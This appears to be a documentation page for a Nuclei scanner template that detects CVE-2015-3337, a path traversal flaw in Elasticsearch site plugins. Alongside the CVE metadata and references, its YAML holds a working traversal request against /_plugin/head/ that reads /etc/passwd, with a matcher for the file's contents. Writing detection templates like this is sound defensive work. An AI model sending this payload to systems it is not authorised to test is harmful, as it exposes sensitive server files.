Elasticsearch - Local File Inclusion
ID: CVE-2015-3337
Severity: medium
Author: pdteam
Tags: cve2015,cve,packetstorm,edb,elastic,lfi,elasticsearch,plugin
Description
Section titled “Description”Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled.
YAML Source
Section titled “YAML Source”id: CVE-2015-3337
info: name: Elasticsearch - Local File Inclusion author: pdteam severity: medium description: Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled. impact: | An attacker can exploit this vulnerability to read sensitive files on the server. remediation: | Upgrade to a patched version of Elasticsearch or apply the necessary security patches. reference: - https://www.exploit-db.com/exploits/37054/ - https://www.elastic.co/community/security - http://www.debian.org/security/2015/dsa-3241 - https://nvd.nist.gov/vuln/detail/CVE-2015-3337 - http://packetstormsecurity.com/files/131646/Elasticsearch-Directory-Traversal.html classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N cvss-score: 4.3 cve-id: CVE-2015-3337 cwe-id: CWE-22 epss-score: 0.96187 epss-percentile: 0.99512 cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: elasticsearch product: elasticsearch fofa-query: index_not_found_exception tags: cve2015,cve,packetstorm,edb,elastic,lfi,elasticsearch,plugin
http: - method: GET path: - "{{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4b0a00483046022100dd9eaf365d0a8f2fecfe47fdce52c82401a7707015be88dda5123e62cdb89398022100982c48d3d5d387043fda0203f2466c78998bbeaa5a000f46e4812f4b3171c755:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-3337.yaml"